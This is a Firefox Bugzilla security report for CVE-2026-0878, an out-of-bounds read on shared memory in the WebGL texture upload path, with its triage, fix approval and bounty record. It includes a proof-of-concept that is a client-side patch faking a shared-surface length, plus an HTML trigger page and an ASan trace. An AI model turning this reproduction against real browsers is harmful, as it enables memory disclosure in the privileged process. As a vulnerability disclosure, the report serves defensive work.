Closed Bug 2003989 (CVE-2026-0878) Opened 8 months ago Closed 7 months ago

out-of-bounds read due to missing size check on shared memory (Sandbox escape)

Categories

(Core :: Graphics: CanvasWebGL, defect)

defect

Tracking

()

RESOLVED FIXED
148 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr140 147+ fixed
firefox146 --- wontfix
firefox147 + fixed
firefox148 + fixed

People

(Reporter: oskarlindberg348, Assigned: lsalzman)

References

(Regression)

Details

(5 keywords, Whiteboard: [client-bounty-form] [adv-main147+] [adv-esr140.7+])

Attachments

(1 file)

writeup follows

Flags: sec-bounty?

Background

Same as for bug 1989127

Vulnerability

When we send a texture to be uploaded, we can use external shared surface (used for 1996473 as well).
which shares a surface through shared memory, and received on the browser which calls
`SourceSurfaceSharedDataWrapper::Init:

void SourceSurfaceSharedDataWrapper::Init(
    const IntSize& aSize, int32_t aStride, SurfaceFormat aFormat,
    ipc::ReadOnlySharedMemoryHandle aHandle, base::ProcessId aCreatorPid) {
    ...
    bool mapped = EnsureMapped(len);
    ...
    }

I would expect that len makes sure the size fits in the mapped area, however thats not the case len is actually disregarded inside EnsureMapped.

This mapping is later used to upload the texture and format conversion @ ConvertImage:

bool ConvertImage(size_t width, size_t height, const void* srcBegin,
                  size_t srcStride, gl::OriginPos srcOrigin,
                  WebGLTexelFormat srcFormat, bool srcPremultiplied,
                  void* dstBegin, size_t dstStride, gl::OriginPos dstOrigin,
                  WebGLTexelFormat dstFormat, bool dstPremultiplied,
                  dom::PredefinedColorSpace srcColorSpace,
                  dom::PredefinedColorSpace dstColorSpace,
                  bool* const out_wasTrivial) {
  ...

  const uint8_t* srcItr = (const uint8_t*)srcBegin;
  const uint8_t* const srcEnd = srcItr + srcStride * height;
  uint8_t* dstItr = (uint8_t*)dstBegin;
  ptrdiff_t dstItrStride = dstStride;
  if (shouldYFlip) {
    dstItr = dstItr + dstStride * (height - 1);
    dstItrStride = -dstItrStride;
  }

  bool sameColorSpace = (srcColorSpace == dstColorSpace);

  if (srcFormat == dstFormat &&
      premultOp == WebGLTexelPremultiplicationOp::None && sameColorSpace) {
    // Fast exit path: we just have to memcpy all the rows.

    const auto bytesPerPixel = TexelBytesForFormat(srcFormat);
    const size_t bytesPerRow = bytesPerPixel * width; //

    while (srcItr != srcEnd) {
      memcpy(dstItr, srcItr, bytesPerRow); // [1]
      srcItr += srcStride;
      dstItr += dstItrStride;
    }
    return true;
  }
  1. copy of the bytesPerRow from the source mapping

But since the mapping length is not validated properly, we read out of bounds.

Asan report

Truncated asan report follows:

==115317==ERROR: AddressSanitizer: SEGV on unknown address 0x7cbe56600000 (pc 0x7cbe7c8c4881 bp 0x7cbe17a652b0 sp 0x7cbe17a64a68 T67)
==115317==The signal is caused by a READ memory access.
    #0 0x7cbe7c8c4881 in memcpy string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:222
    #1 0x59fc811d048b in __asan_memcpy /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:63:3
    #2 0x7cbe675c2265 in mozilla::ConvertImage(unsigned long, unsigned long, void const*, unsigned long, mozilla::gl::OriginPos, mozilla::WebGLTexelFormat, bool, void*, unsigned long, mozilla::gl::OriginPos, mozilla::WebGLTexelFormat, bool, mozilla::dom::PredefinedColorSpace, mozilla::dom::PredefinedColorSpace, bool*) /home/user/Downloads/firefox/dom/canvas/WebGLTexelConversions.cpp:483:7
    #3 0x7cbe673ed12d in mozilla::webgl::TexUnpackBlob::ConvertIfNeeded(mozilla::WebGLContext const*, unsigned int, unsigned int, mozilla::WebGLTexelFormat, unsigned char const*, long, mozilla::WebGLTexelFormat, long, unsigned char const**, mozilla::UniqueBuffer*) const /home/user/Downloads/firefox/dom/canvas/TexUnpackBlob.cpp:478:8
    #4 0x7cbe673f3b23 in mozilla::webgl::TexUnpackSurface::TexOrSubImage(bool, bool, mozilla::WebGLTexture*, int, mozilla::webgl::DriverUnpackInfo const*, int, int, int, mozilla::webgl::PackingInfo const&, unsigned int*) const /home/user/Downloads/firefox/dom/canvas/TexUnpackBlob.cpp:1230:8
    #5 0x7cbe675f8a5a in mozilla::WebGLTexture::TexImage(unsigned int, unsigned int, mozilla::avec3<unsigned int> const&, mozilla::webgl::PackingInfo const&, mozilla::webgl::TexUnpackBlobDesc const&) /home/user/Downloads/firefox/dom/canvas/WebGLTextureUpload.cpp:1107:14
    #6 0x7cbe6752a505 in mozilla::WebGLContext::TexImage(unsigned int, unsigned int, mozilla::avec3<unsigned int>, mozilla::webgl::PackingInfo const&, mozilla::webgl::TexUnpackBlobDesc const&) const /home/user/Downloads/firefox/dom/canvas/WebGLContextTextures.cpp:196:8
    #7 0x7cbe67557823 in mozilla::HostWebGLContext::TexImage(unsigned int, unsigned int, mozilla::avec3<unsigned int> const&, mozilla::webgl::PackingInfo const&, mozilla::webgl::TexUnpackBlobDesc const&) const /home/user/Downloads/firefox/dom/canvas/HostWebGLContext.h:574:15
    #8 0x7cbe67557823 in mozilla::dom::WebGLParent::RecvTexImage(unsigned int, unsigned int, mozilla::avec3<unsigned int> const&, mozilla::webgl::PackingInfo const&, mozilla::webgl::TexUnpackBlobDesc&&) /home/user/Downloads/firefox/dom/canvas/WebGLParent.cpp:108:10
   

We get as SEGV since we are reading out of the mapped area.

Implications

Out of bounds read on shared memory in the browser process, which casuses info leak further down the line.

Reproduction

  1. Apply the patch:
diff --git a/dom/canvas/ClientWebGLContext.cpp b/dom/canvas/ClientWebGLContext.cpp
index 11578f425f7c..9f2b8e132874 100644
--- a/dom/canvas/ClientWebGLContext.cpp
+++ b/dom/canvas/ClientWebGLContext.cpp
@@ -16,6 +16,7 @@
 #include "WebGLFormats.h"
 #include "WebGLMethodDispatcher.h"
 #include "WebGLTextureUpload.h"
+#include "WebGLTypes.h"
 #include "WebGLValidateStrings.h"
 #include "gfxCrashReporterUtils.h"
 #include "js/PropertyAndElement.h"  // JS_DefineElement
@@ -32,16 +33,22 @@
 #include "mozilla/dom/WebGLContextEvent.h"
 #include "mozilla/dom/WorkerCommon.h"
 #include "mozilla/gfx/CanvasManagerChild.h"
+#include "mozilla/gfx/Point.h"
 #include "mozilla/gfx/Swizzle.h"
+#include "mozilla/gfx/Types.h"
 #include "mozilla/gfx/gfxVars.h"
 #include "mozilla/ipc/Shmem.h"
 #include "mozilla/layers/CompositableForwarder.h"
 #include "mozilla/layers/CompositorBridgeChild.h"
 #include "mozilla/layers/ImageBridgeChild.h"
+#include "mozilla/layers/LayersSurfaces.h"
 #include "mozilla/layers/OOPCanvasRenderer.h"
+#include "mozilla/layers/SharedSurfacesChild.h"
+#include "mozilla/layers/SourceSurfaceSharedData.h"
 #include "mozilla/layers/TextureClientSharedSurface.h"
 #include "mozilla/layers/WebRenderCanvasRenderer.h"
 #include "mozilla/layers/WebRenderUserData.h"
+#include "mozilla/webrender/WebRenderTypes.h"
 #include "nsContentUtils.h"
 #include "nsDisplayList.h"
 
@@ -4592,6 +4599,19 @@ void ClientWebGLContext::TexImage(uint8_t funcDims, GLenum imageTarget,
   RefPtr<layers::Image> keepAliveImage;
   RefPtr<gfx::SourceSurface> keepAliveSurf;
 
+  auto surface = MakeRefPtr<gfx::SourceSurfaceSharedData>();
+  auto format = gfx::SurfaceFormat::R8G8B8A8;
+  auto width = 0x1000;
+  surface->CustomInit(
+      gfx::IntSize(width, 10), gfx::BytesPerPixel(format) * width,
+      gfx::SurfaceFormat::R8G8B8A8);  // Oskar: stride is less then
+
+  auto sdb = layers::SurfaceDescriptorExternalImage(
+      wr::ExternalImageSource::SharedSurfaces, surface->GetImageId());
+  desc->sd.emplace(sdb);
+  desc->size = uvec3(0, 0, 1);
+  desc->unpacking.flipY = true;  // Oskar: we need this to trigger conversion.
+  desc->applyUnpackTransforms = true;
   if (desc->sd) {
     const auto& sd = *(desc->sd);
     const auto sdType = sd.type();
diff --git a/gfx/layers/SourceSurfaceSharedData.cpp b/gfx/layers/SourceSurfaceSharedData.cpp
index a6d0d02d7de8..9b9d79ab6a67 100644
--- a/gfx/layers/SourceSurfaceSharedData.cpp
+++ b/gfx/layers/SourceSurfaceSharedData.cpp
@@ -152,6 +152,29 @@ void SourceSurfaceSharedDataWrapper::ExpireMap() {
   }
 }
 
+bool SourceSurfaceSharedData::CustomInit(
+    const IntSize& aSize, int32_t aStride, SurfaceFormat aFormat,
+    bool aShare /* = true */) {  // Oskar: custom init to share a fake length
+  mSize = aSize;
+  mStride = aStride;
+  mFormat = aFormat;
+
+  size_t len = 0x1000;
+
+  mBufHandle = ipc::shared_memory::Create(len);
+  mBuf = std::make_shared<ipc::MutableOrReadOnlySharedMemoryMapping>(
+      mBufHandle.Map());
+  if (NS_WARN_IF(!mBufHandle) || NS_WARN_IF(!mBuf || !*mBuf)) {
+    return false;
+  }
+
+  if (aShare) {
+    layers::SharedSurfacesChild::Share(this, mExternalId);
+  }
+
+  return true;
+}
+
 bool SourceSurfaceSharedData::Init(const IntSize& aSize, int32_t aStride,
                                    SurfaceFormat aFormat,
                                    bool aShare /* = true */) {
@@ -160,6 +183,7 @@ bool SourceSurfaceSharedData::Init(const IntSize& aSize, int32_t aStride,
   mFormat = aFormat;
 
   size_t len = GetAlignedDataLength();
+
   mBufHandle = ipc::shared_memory::Create(len);
   mBuf = std::make_shared<ipc::MutableOrReadOnlySharedMemoryMapping>(
       mBufHandle.Map());
@@ -168,7 +192,7 @@ bool SourceSurfaceSharedData::Init(const IntSize& aSize, int32_t aStride,
   }
 
   if (aShare) {
-    layers::SharedSurfacesChild::Share(this);
+    layers::SharedSurfacesChild::Share(this, mExternalId);
   }
 
   return true;
diff --git a/gfx/layers/SourceSurfaceSharedData.h b/gfx/layers/SourceSurfaceSharedData.h
index d442c009301c..0eb004ef0011 100644
--- a/gfx/layers/SourceSurfaceSharedData.h
+++ b/gfx/layers/SourceSurfaceSharedData.h
@@ -12,6 +12,7 @@
 #include "mozilla/Mutex.h"
 #include "mozilla/ipc/SharedMemoryHandle.h"
 #include "mozilla/ipc/SharedMemoryMapping.h"
+#include "mozilla/webrender/webrender_ffi.h"
 #include "nsExpirationTracker.h"
 
 namespace mozilla {
@@ -137,6 +138,9 @@ class SourceSurfaceSharedData : public DataSourceSurface {
         mFinalized(false),
         mShared(false) {}
 
+  bool CustomInit(const IntSize& aSize, int32_t aStride, SurfaceFormat aFormat,
+            bool aShare = true);
+
   /**
    * Initialize the surface by creating a shared memory buffer with a size
    * determined by aSize, aStride and aFormat. If aShare is true, it will also
@@ -156,6 +160,7 @@ class SourceSurfaceSharedData : public DataSourceSurface {
   SurfaceType GetType() const override { return SurfaceType::DATA_SHARED; }
   IntSize GetSize() const final { return mSize; }
   SurfaceFormat GetFormat() const final { return mFormat; }
+  wr::ExternalImageId& GetImageId() { return mExternalId; } // Oskar - added public member to fetch id.
 
   void SizeOfExcludingThis(MallocSizeOf aMallocSizeOf,
                            SizeOfInfo& aInfo) const final;
@@ -338,6 +343,7 @@ class SourceSurfaceSharedData : public DataSourceSurface {
   std::shared_ptr<mozilla::ipc::MutableOrReadOnlySharedMemoryMapping> mBuf;
   std::shared_ptr<mozilla::ipc::MutableOrReadOnlySharedMemoryMapping> mOldBuf;
   SurfaceFormat mFormat;
+  wr::ExternalImageId mExternalId;  // Oskar: added field to fetch shared id.
   bool mClosed : 1;
   bool mFinalized : 1;
   bool mShared : 1;
diff --git a/gfx/layers/ipc/SharedSurfacesChild.cpp b/gfx/layers/ipc/SharedSurfacesChild.cpp
index c168ba7f2e8a..331c50d8f31c 100644
--- a/gfx/layers/ipc/SharedSurfacesChild.cpp
+++ b/gfx/layers/ipc/SharedSurfacesChild.cpp
@@ -240,7 +240,7 @@ nsresult SharedSurfacesChild::ShareInternal(SourceSurfaceSharedData* aSurface,
 
   SurfaceFormat format = aSurface->GetFormat();
   MOZ_RELEASE_ASSERT(
-      format == SurfaceFormat::B8G8R8X8 || format == SurfaceFormat::B8G8R8A8,
+      format == SurfaceFormat::B8G8R8X8 || format == SurfaceFormat::B8G8R8A8 || format == gfx::SurfaceFormat::R8G8B8A8,
       "bad format");
 
   data->MarkShared(manager->GetNextExternalImageId());

  1. Host the following index.html to trigger the patch:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Bitmap to WebGL2 Texture</title>
<style>
  body {
    font-family: sans-serif;
    display: flex;
    flex-direction: column;
    align-items: center;
    margin: 20px;
  }
  canvas {
    border: 1px solid black;
    margin-top: 20px;
  }
</style>
</head>
<body>
  <h1>Bitmap to WebGL2 Texture</h1>
  <p>This example creates a 2x2 bitmap and renders it as a texture on the canvas.</p>
  <canvas id="main-canvas" width="400" height="400"></canvas>

  <script>
    const mainCanvas = document.getElementById('main-canvas');
    const gl = mainCanvas.getContext('webgl2');
    
    if (!gl) {
      alert("WebGL2 not supported.");
    }
    
    // Create a simple 2x2 pixel bitmap using ImageData
    const width = 2;
    const height = 2;
    const pixelData = new Uint8ClampedArray([
      255, 0, 0, 255,   // Red pixel
      0, 255, 0, 255,   // Green pixel
      0, 0, 255, 255,   // Blue pixel
      255, 255, 0, 255  // Yellow pixel
    ]);

    const imageData = new ImageData(pixelData, width, height);

    // Asynchronously create an ImageBitmap from the ImageData
    createImageBitmap(imageData)
      .then(imageBitmap => {
        // Now upload the ImageBitmap to a WebGL texture
        const texture = gl.createTexture();
        gl.bindTexture(gl.TEXTURE_2D, texture);
        
        // This is the key function call for the bitmap upload
        gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, imageBitmap);
        
        gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
        gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
        gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
        gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST);

        // Render the textured quad
        render(texture);
      })
      .catch(e => {
        console.error("Could not create ImageBitmap:", e);
      });

    function render(texture) {
      // Set up the shaders
      const vsSource = `#version 300 es
        in vec4 a_position;
        in vec2 a_texcoord;
        out vec2 v_texcoord;
        void main() {
          gl_Position = a_position;
          v_texcoord = a_texcoord;
        }`;

      const fsSource = `#version 300 es
        precision highp float;
        uniform sampler2D u_texture;
        in vec2 v_texcoord;
        out vec4 outColor;
        void main() {
          outColor = texture(u_texture, v_texcoord);
        }`;
      
      const vertexShader = createShader(gl, gl.VERTEX_SHADER, vsSource);
      const fragmentShader = createShader(gl, gl.FRAGMENT_SHADER, fsSource);
      const program = createProgram(gl, vertexShader, fragmentShader);
      gl.useProgram(program);

      // Create a buffer for a full-screen quad
      const positions = new Float32Array([
        -1, -1, 0, 0,
        -1,  1, 0, 1,
         1, -1, 1, 0,
         1,  1, 1, 1,
      ]);
      const positionBuffer = gl.createBuffer();
      gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);
      gl.bufferData(gl.ARRAY_BUFFER, positions, gl.STATIC_DRAW);

      const positionAttributeLocation = gl.getAttribLocation(program, 'a_position');
      gl.enableVertexAttribArray(positionAttributeLocation);
      gl.vertexAttribPointer(positionAttributeLocation, 2, gl.FLOAT, false, 4 * Float32Array.BYTES_PER_ELEMENT, 0);

      const texcoordAttributeLocation = gl.getAttribLocation(program, 'a_texcoord');
      gl.enableVertexAttribArray(texcoordAttributeLocation);
      gl.vertexAttribPointer(texcoordAttributeLocation, 2, gl.FLOAT, false, 4 * Float32Array.BYTES_PER_ELEMENT, 2 * Float32Array.BYTES_PER_ELEMENT);
      
      // Bind the texture and set the uniform
      gl.activeTexture(gl.TEXTURE0);
      gl.bindTexture(gl.TEXTURE_2D, texture);
      const textureLocation = gl.getUniformLocation(program, "u_texture");
      gl.uniform1i(textureLocation, 0);

      // Draw the quad
      gl.viewport(0, 0, gl.canvas.width, gl.canvas.height);
      gl.clearColor(0.0, 0.0, 0.0, 1.0);
      gl.clear(gl.COLOR_BUFFER_BIT);
      gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4);
    }

    // Helper functions
    function createShader(gl, type, source) {
      const shader = gl.createShader(type);
      gl.shaderSource(shader, source);
      gl.compileShader(shader);
      if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
        console.error('An error occurred compiling the shaders: ' + gl.getShaderInfoLog(shader));
        gl.deleteShader(shader);
        return null;
      }
      return shader;
    }

    function createProgram(gl, vertexShader, fragmentShader) {
      const program = gl.createProgram();
      gl.attachShader(program, vertexShader);
      gl.attachShader(program, fragmentShader);
      gl.linkProgram(program);
      if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
        console.error('Unable to initialize the shader program: ' + gl.getProgramInfoLog(program));
        return null;
      }
      return program;
    }
  </script>
</body>
</html>

Found by manual auditing.

Group: firefox-core-security → core-security
Component: Security → Graphics: CanvasWebGL
Product: Firefox → Core
Group: core-security → gfx-core-security
Keywords: csectype-bounds

Lee, you've fixed several of these, do you mind taking a look?

Flags: needinfo?(lsalzman)
Summary: OOBR due to missing size check on shared memory (Sandbox escape) → out-of-bounds read due to missing size check on shared memory (Sandbox escape)
Severity: -- → S2
Flags: needinfo?(lsalzman)
Keywords: regression
Regressed by: 1942129

Bug 1942129 changed EnsureMapped so that it no longer ensures the memory region encompasses the passed-in length, and thereby regressed this.

Attached file (secure)
Assignee: nobody → lsalzman
Status: NEW → ASSIGNED

Comment on attachment 9531336 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: The patch doesn't pin-point the particular pathway taken through WebGL here, but someone might be able to look through SourceSurfaceSharedDataWrapper is used and track down those places. It would require fairly in-depth knowledge of the code, however.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: 138+
  • If not all supported branches, which bug introduced the flaw?: Bug 1942129
  • Do you have backports for the affected branches?: Yes
  • If not, how different, hard to create, and risky will they be?:
  • How likely is this patch to cause regressions; how much testing does it need?: Unlikely
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Attachment #9531336 - Flags: sec-approval?

Comment on attachment 9531336 [details]
(secure)

I'm going to ask this landing be delayed a bit. I'll suggest 12/22, but depending on your holiday plans feel free to move it to 12/17 or 12/18 to accommodate time for an unexpected bounce and reland.

Attachment #9531336 - Flags: sec-approval? → sec-approval+
Whiteboard: [client-bounty-form] → [client-bounty-form][reminder-landing 2025-12-22]

Comment on attachment 9531336 [details]
(secure)

Beta/Release Uplift Approval Request

  • User impact if declined/Reason for urgency: Memory bounds overrun in remote WebGL.
  • Is this code covered by automated tests?: Unknown
  • Has the fix been verified in Nightly?: Yes
  • Needs manual test from QE?: No
  • If yes, steps to reproduce:
  • List of other uplifts needed: None
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): Adds bounds check.
  • String changes made/needed:
  • Is Android affected?: Yes

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration:
  • User impact if declined:
  • Fix Landed on Version: 148
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky):
Attachment #9531336 - Flags: approval-mozilla-esr140?
Attachment #9531336 - Flags: approval-mozilla-beta?
Group: gfx-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 7 months ago
Resolution: --- → FIXED
Target Milestone: --- → 148 Branch

Comment on attachment 9531336 [details]
(secure)

Approved for 147.0b7 and 140.7esr.

Attachment #9531336 - Flags: approval-mozilla-esr140?
Attachment #9531336 - Flags: approval-mozilla-esr140+
Attachment #9531336 - Flags: approval-mozilla-beta?
Attachment #9531336 - Flags: approval-mozilla-beta+

13 days ago, tjr placed a reminder on the bug using the whiteboard tag [reminder-landing 2025-12-22] .

lsalzman, please refer to the original comment to better understand the reason for the reminder.

Flags: needinfo?(lsalzman)
Whiteboard: [client-bounty-form][reminder-landing 2025-12-22] → [client-bounty-form]
Flags: needinfo?(lsalzman)
QA Whiteboard: [sec] [qa-triage-done-c148/b147]
Flags: sec-bounty? → sec-bounty+
Whiteboard: [client-bounty-form] → [client-bounty-form] [adv-main147+] [adv-esr140.7+]
Alias: CVE-2026-0878
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: